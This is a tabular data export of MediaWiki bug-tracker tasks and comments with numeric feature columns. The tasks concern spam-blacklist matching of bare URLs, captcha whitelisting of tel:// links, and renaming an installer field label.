for example I could add www.atbriders.com to the text which is listed in https://en.wikipedia.org/wiki/MediaWiki:Spam-blacklist

see
https://en.wikipedia.org/wiki/User:Yamaha5/Spam-blacklist

it should block also URLs which doesn't have http: or https: or // (at the first)

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1384244160,1384277715.0,PHID-USER-dswbdv7ibhsefllcqarz,False,,False,PHID-TASK-ifrystfzv4mleltqnvzf,task_description,declined,True,c3,1,False,False,True,-86,True,0.0,0.0,0.0,1.0,4.0,4.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,1.0,0.0,5.0,6.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,6.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,1.0,10.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,6.0,5.0,0.0,0.0,0.0,3.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,1.0,3.6962025316455698,0.5443037974683544,"Spam BlackList doesn't block links which doesn't have http or https or // (at the first)

for example I could add www.atbriders.com to the text which is listed in URL

see
URL

it should block also URLs which doesn't have http: or https: or // (at the first)

--------------------------
**Version**: unspecified
**Severity**: enhancement"
272144,Spam BlackList doesn't block links which doesn't have http or https,--> AbuseFilter territory by definition,,,1384277715,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ifrystfzv4mleltqnvzf,task_subcomment,,True,c3,1,True,,,-86,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,5.833333333333333,1.0,--> AbuseFilter territory by definition
272137,Spam BlackList doesn't block links which doesn't have http or https,"spam blacklist was designed to block linking to black listed urls.
Thats why only the added external links are checked, no content.

You can use AbuseFilter when you want text searches for plain website names.

Supporting INVALID",,,1384272697,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,,PHID-TASK-ifrystfzv4mleltqnvzf,task_subcomment,,True,c3,1,True,,,-86,True,0.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,7.0,7.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,2.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,11.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,7.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.355555555555555,0.9111111111111111,"spam blacklist was designed to block linking to black listed urls.
Thats why only the added external links are checked, no content.

You can use AbuseFilter when you want text searches for plain website names.

Supporting INVALID"
272130,Spam BlackList doesn't block links which doesn't have http or https,"(In reply to comment #2)
> I don't see any sane way to do this (and am tempted to close as INVALID).
> 
> Text not starting with http:// simply is not a link - it is text.
> 
> So you want to block any word which has two dots in it?

No I don't want to block any word which has two dots in it!
I said when we define 
\bexample\.com\b
it should also block www.example.com 
it is a website address",,,1384256717,,PHID-USER-dswbdv7ibhsefllcqarz,False,,,PHID-TASK-ifrystfzv4mleltqnvzf,task_subcomment,,True,c3,1,False,,,-86,True,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,5.0,0.0,5.0,7.0,0.0,4.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,2.0,2.0,2.0,16.0,2.0,0.0,5.0,0.0,0.0,2.0,2.0,7.0,2.0,4.0,0.0,11.0,7.0,7.0,0.0,0.0,0.0,11.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,3.381818181818182,0.6909090909090909,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

No I don't want to block any word which has two dots in it!
I said when we define 
\bexample\.com\b
it should also block www.example.com 
it is a website address"
272123,Spam BlackList doesn't block links which doesn't have http or https,"I don't see any sane way to do this (and am tempted to close as INVALID).

Text not starting with http:// simply is not a link - it is text.

So you want to block any word which has two dots in it?",,,1384255962,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ifrystfzv4mleltqnvzf,task_subcomment,,True,c3,1,True,,,-86,True,4.0,0.0,0.0,2.0,6.0,2.0,2.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,10.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,6.0,8.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,8.0,12.0,4.0,2.0,0.0,0.0,8.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.0784313725490198,0.8235294117647058,"I don't see any sane way to do this (and am tempted to close as INVALID).

Text not starting with http:// simply is not a link - it is text.

So you want to block any word which has two dots in it?"
272117,Spam BlackList doesn't block links which doesn't have http or https,Now many articles are effected by this bug and users adds their Spam links to the articles without any blockage!,,,1384244275,,PHID-USER-dswbdv7ibhsefllcqarz,False,,,PHID-TASK-ifrystfzv4mleltqnvzf,task_subcomment,,True,c3,1,False,,,-86,True,10.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,29.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,10.0,0.0,5.0,14.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,5.0,14.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.428571428571429,0.9523809523809523,Now many articles are effected by this bug and users adds their Spam links to the articles without any blockage!
58485,"Catches non-http/https links, but cannot whitelist them via MediaWiki:Captcha-addurl-whitelist","The ConfirmEdit extension allows for local wikis to whitelist links using [[MediaWiki:Captcha-addurl-whitelist]]. But this only allows for whitelisting http and https links, even though the extension will trigger a captcha for any protocol.

The question here is twofold:
1. Should ConfirmEdit trigger captchas for other types of links in the first place?
2. If so, how can we extend [[MediaWiki:Captcha-addurl-whitelist]] to allow these to be whitelisted?

Personally, I'm inclined to answer ""yes"" and ""Perhaps add flags like in [[MediaWiki:TitleBlacklist]], one of which would indicate that this line should not be prefixed with /^https?:\/\/+[a-z0-9_\-.]*/""

--------------------------
**Version**: master
**Severity**: normal
**URL**: https://en.wikipedia.org/wiki/Wikipedia:Village_pump_(technical)#Contains_external_links",Medium,50.0,1383334140,1386352774.0,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,False,PHID-TASK-apzftii3ko6bfgxegblk,task_description,resolved,True,c3,1,True,False,True,-87,True,0.5,0.0,0.0,1.0,0.5,2.5,0.0,0.0,0.5,0.5,1.0,0.5,0.0,0.5,0.0,1.0,0.5,5.0,9.5,0.0,2.0,1.0,0.0,0.0,0.0,0.5,0.5,0.0,0.5,1.0,0.5,2.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.5,12.0,0.0,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,2.5,1.5,11.0,2.0,1.5,5.5,0.0,0.0,0.0,0.0,4.5,0.5,0.5,0.0,1.0,9.5,7.0,1.0,2.5,0.0,1.0,0.0,1.0,0.5,0.0,0.5,0.0,0.0,4.5,3.8507002801120445,0.6565826330532213,"The ConfirmEdit extension allows for local wikis to whitelist links using [[MediaWiki:Captcha-addurl-whitelist]]. But this only allows for whitelisting http and https links, even though the extension will trigger a captcha for any protocol.

The question here is twofold:
1. Should ConfirmEdit trigger captchas for other types of links in the first place?
2. If so, how can we extend [[MediaWiki:Captcha-addurl-whitelist]] to allow these to be whitelisted?

Personally, I'm inclined to answer ""yes"" and ""Perhaps add flags like in [[MediaWiki:TitleBlacklist]], one of which would indicate that this line should not be prefixed with /^https?:\/\/+[a-z0-9_\-.]*/""

--------------------------
**Version**: master
**Severity**: normal
**URL**: URL"
271973,"Catches non-http/https links, but cannot whitelist them via MediaWiki:Captcha-addurl-whitelist","Change merged. It should be deployed to WMF wikis with 1.23wmf7, see https://www.mediawiki.org/wiki/MediaWiki_1.23/Roadmap for the schedule.",,,1386352774,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-apzftii3ko6bfgxegblk,task_subcomment,,True,c3,1,True,,,-82,True,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,21.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,5.0,16.0,11.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9473684210526314,0.9473684210526315,"Change merged. It should be deployed to WMF wikis with 1.23wmf7, see URL for the schedule."
271969,"Catches non-http/https links, but cannot whitelist them via MediaWiki:Captcha-addurl-whitelist","Change 97317 merged by jenkins-bot:
Allow 'noprotocol' option in captcha-addurl-whitelist

https://gerrit.wikimedia.org/r/97317",,,1386352444,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-apzftii3ko6bfgxegblk,task_subcomment,,True,c3,1,False,,,-82,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.2272727272727275,0.8636363636363636,"Change 97317 merged by jenkins-bot:
Allow 'noprotocol' option in captcha-addurl-whitelist

GERRIT_URL"
271963,"Catches non-http/https links, but cannot whitelist them via MediaWiki:Captcha-addurl-whitelist","I had it on my todo list since November 1, and your comment coincidentally came at the same time I found the combination of volunteer time and motivation to work on it ;)

I'd use ""tel:// <noprotocol>"", or ""tel: <noprotocol>"" if the links don't use the //.",,,1385321675,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-apzftii3ko6bfgxegblk,task_subcomment,,True,c3,1,True,,,-84,True,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,7.0,0.0,3.0,11.0,0.0,2.0,0.0,2.0,0.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,3.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,3.0,5.0,7.0,0.0,2.0,0.0,0.0,5.0,0.0,2.0,0.0,11.0,11.0,3.0,0.0,7.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.459016393442623,0.7213114754098361,"I had it on my todo list since November 1, and your comment coincidentally came at the same time I found the combination of volunteer time and motivation to work on it ;)

I'd use ""tel:// <noprotocol>"", or ""tel: <noprotocol>"" if the links don't use the //."
271957,"Catches non-http/https links, but cannot whitelist them via MediaWiki:Captcha-addurl-whitelist","**singaporemaps** wrote:

Thanks for the quick patch.

To confirm, the regex for whitelisting tel: links would be something along the lines of - 

tel <noprotocol> ?",,,1385298478,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-apzftii3ko6bfgxegblk,task_subcomment,,True,c3,1,False,,,-84,True,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,13.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,5.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,13.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.641025641025641,0.7435897435897436,"**singaporemaps** wrote:

Thanks for the quick patch.

To confirm, the regex for whitelisting tel: links would be something along the lines of - 

tel <noprotocol> ?"
271952,"Catches non-http/https links, but cannot whitelist them via MediaWiki:Captcha-addurl-whitelist","Change 97317 had a related patch set uploaded by Anomie:
Allow 'noprotocol' option in captcha-addurl-whitelist

https://gerrit.wikimedia.org/r/97317",,,1385231372,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-apzftii3ko6bfgxegblk,task_subcomment,,True,c3,1,False,,,-84,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,16.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.36,0.92,"Change 97317 had a related patch set uploaded by Anomie:
Allow 'noprotocol' option in captcha-addurl-whitelist

GERRIT_URL"
271947,"Catches non-http/https links, but cannot whitelist them via MediaWiki:Captcha-addurl-whitelist","**singaporemaps** wrote:

Should have checked the bug list beforehand. This above modification would be much appreciated.

--

On the English Wikivoyage, we have added tel:// protocol links to phone numbers
so that users can dial through on their mobile phones. However, since tel://
links are considered external links, all new phone numbers added now require a
CAPTCHA to be filled.

I checked MediaWiki:Captcha-addurl-whitelist, but it seems that it is
restricted to HTTP/HTTPS. Is it possible to modify it to accept tel:// links,
and maybe even geo:// links?",,,1385169214,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-apzftii3ko6bfgxegblk,task_subcomment,,True,c3,1,False,,,-84,True,1.5,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.5,0.0,4.0,7.5,0.0,2.5,0.5,1.0,0.0,1.0,0.0,0.0,0.5,0.5,0.5,0.0,4.5,3.0,3.5,2.0,0.0,1.0,0.0,0.0,1.0,0.0,0.5,1.0,0.5,0.0,0.0,0.0,0.0,1.0,12.5,0.0,1.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,2.0,3.5,9.0,2.5,1.5,3.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,5.0,7.5,4.5,1.0,0.0,0.0,5.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.041666666666667,0.775,"**singaporemaps** wrote:

Should have checked the bug list beforehand. This above modification would be much appreciated.

--

On the English Wikivoyage, we have added tel:// protocol links to phone numbers
so that users can dial through on their mobile phones. However, since tel://
links are considered external links, all new phone numbers added now require a
CAPTCHA to be filled.

I checked MediaWiki:Captcha-addurl-whitelist, but it seems that it is
restricted to HTTP/HTTPS. Is it possible to modify it to accept tel:// links,
and maybe even geo:// links?"
271943,"Catches non-http/https links, but cannot whitelist them via MediaWiki:Captcha-addurl-whitelist","**singaporemaps** wrote:

%%%*** Bug 57468 has been marked as a duplicate of this bug. ***%%%",,,1385169090,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-apzftii3ko6bfgxegblk,task_subcomment,,True,c3,1,False,,,-84,True,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,19.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.5,0.5625,"**singaporemaps** wrote:

%%%*** Bug 57468 has been marked as a duplicate of this bug. ***%%%"
271938,"Catches non-http/https links, but cannot whitelist them via MediaWiki:Captcha-addurl-whitelist","(In reply to comment #0)
> Personally, I'm inclined to answer ""yes"" and ""Perhaps add flags like in
> [[MediaWiki:TitleBlacklist]], one of which would indicate that this line
> should not be prefixed with /^https?:\/\/+[a-z0-9_\-.]*/""

This sounds sensible to me.",,,1384270448,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-apzftii3ko6bfgxegblk,task_subcomment,,True,c3,1,True,,,-86,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,5.0,14.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.7619047619047619,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE

This sounds sensible to me."
58235,"Installer should say ""Your username"" instead of ""Your Name"" to be consistent with MW login UI","User signup during wikimedia installation -> Field is 'Real Name'

While installing medaiawiki 1.21.2, in the sign up Page, The Feild 'Real Name' value is taken up by the Mediawiki server as 'username' and is used to login after the installation.

The feild 'Real Name' should be changed to 'username' during installation step.e

--------------------------
**Version**: 1.21.x
**Severity**: minor
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=56551

**Attached**: {F11933}",Medium,50.0,1382960160,1383309235.0,PHID-USER-b3xlpjqyzhcppjoumu63,False,,False,PHID-TASK-hxora4fgzw5eiu5i4e32,task_description,resolved,True,c3,1,False,False,True,-88,True,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,7.0,0.0,0.0,0.0,0.0,0.5,1.0,6.5,0.0,0.5,1.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,4.0,0.5,0.0,0.0,0.0,0.0,7.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,2.5,14.5,0.5,0.5,2.5,0.0,0.0,0.0,0.0,3.5,0.0,0.5,0.0,0.0,6.5,9.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,3.585604472396925,0.6160027952480782,"User signup during wikimedia installation -> Field is 'Real Name'

While installing medaiawiki 1.21.2, in the sign up Page, The Feild 'Real Name' value is taken up by the Mediawiki server as 'username' and is used to login after the installation.

The feild 'Real Name' should be changed to 'username' during installation step.e

--------------------------
**Version**: 1.21.x
**Severity**: minor
**See Also**:
URL

**Attached**: {F11933}"
256199,"Installer should say ""Your username"" instead of ""Your Name"" to be consistent with MW login UI","Change 92681 merged by jenkins-bot:
Renamed ""Your name"" to ""Your username"" to match with the Media wiki login page

https://gerrit.wikimedia.org/r/92681",,,1383302481,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hxora4fgzw5eiu5i4e32,task_subcomment,,True,c3,1,False,,,-87,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,21.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,7.0,14.0,14.0,0.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7586206896551726,0.8275862068965517,"Change 92681 merged by jenkins-bot:
Renamed ""Your name"" to ""Your username"" to match with the Media wiki login page

GERRIT_URL"
256190,"Installer should say ""Your username"" instead of ""Your Name"" to be consistent with MW login UI","Change 92682 abandoned by Bartosz Dziewoński:
Renamed ""Your name"" to ""Your username"" to match with the Media wiki login page

Reason:
https://gerrit.wikimedia.org/r/#/c/92681/

https://gerrit.wikimedia.org/r/92682",,,1383160387,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hxora4fgzw5eiu5i4e32,task_subcomment,,True,c3,1,False,,,-88,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,30.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,6.0,12.0,15.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9696969696969697,0.7575757575757576,"Change 92682 abandoned by Bartosz Dziewoński:
Renamed ""Your name"" to ""Your username"" to match with the Media wiki login page

Reason:
URL

GERRIT_URL"
256183,"Installer should say ""Your username"" instead of ""Your Name"" to be consistent with MW login UI","Change 92682 had a related patch set uploaded by Gerrit Patch Uploader:
Renamed ""Your name"" to ""Your username"" to match with the Media wiki login page

https://gerrit.wikimedia.org/r/92682",,,1383160261,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hxora4fgzw5eiu5i4e32,task_subcomment,,True,c3,1,False,,,-88,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,26.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,6.0,12.0,15.0,0.0,12.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.0588235294117645,0.8529411764705882,"Change 92682 had a related patch set uploaded by Gerrit Patch Uploader:
Renamed ""Your name"" to ""Your username"" to match with the Media wiki login page

GERRIT_URL"
256175,"Installer should say ""Your username"" instead of ""Your Name"" to be consistent with MW login UI","Change 92681 had a related patch set uploaded by Gerrit Patch Uploader:
Renamed ""Your name"" to ""Your username"" to match with the Media wiki login page

https://gerrit.wikimedia.org/r/92681",,,1383160257,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hxora4fgzw5eiu5i4e32,task_subcomment,,True,c3,1,False,,,-88,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,26.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,6.0,12.0,18.0,0.0,12.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.0588235294117645,0.8529411764705882,"Change 92681 had a related patch set uploaded by Gerrit Patch Uploader:
Renamed ""Your name"" to ""Your username"" to match with the Media wiki login page

GERRIT_URL"
256169,"Installer should say ""Your username"" instead of ""Your Name"" to be consistent with MW login UI","Created attachment 13631
Renamed ""Your name"" to ""Your username"" to match with the Media wiki login page

Added Pach, changed 'Your name' to 'Your username'

**Attached**: {F11935}",,,1383159649,,PHID-USER-b3xlpjqyzhcppjoumu63,False,,,PHID-TASK-hxora4fgzw5eiu5i4e32,task_subcomment,,True,c3,1,False,,,-88,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,24.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,9.0,9.0,7.0,0.0,17.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.391304347826087,0.6304347826086957,"Created attachment 13631
Renamed ""Your name"" to ""Your username"" to match with the Media wiki login page

Added Pach, changed 'Your name' to 'Your username'

**Attached**: {F11935}"
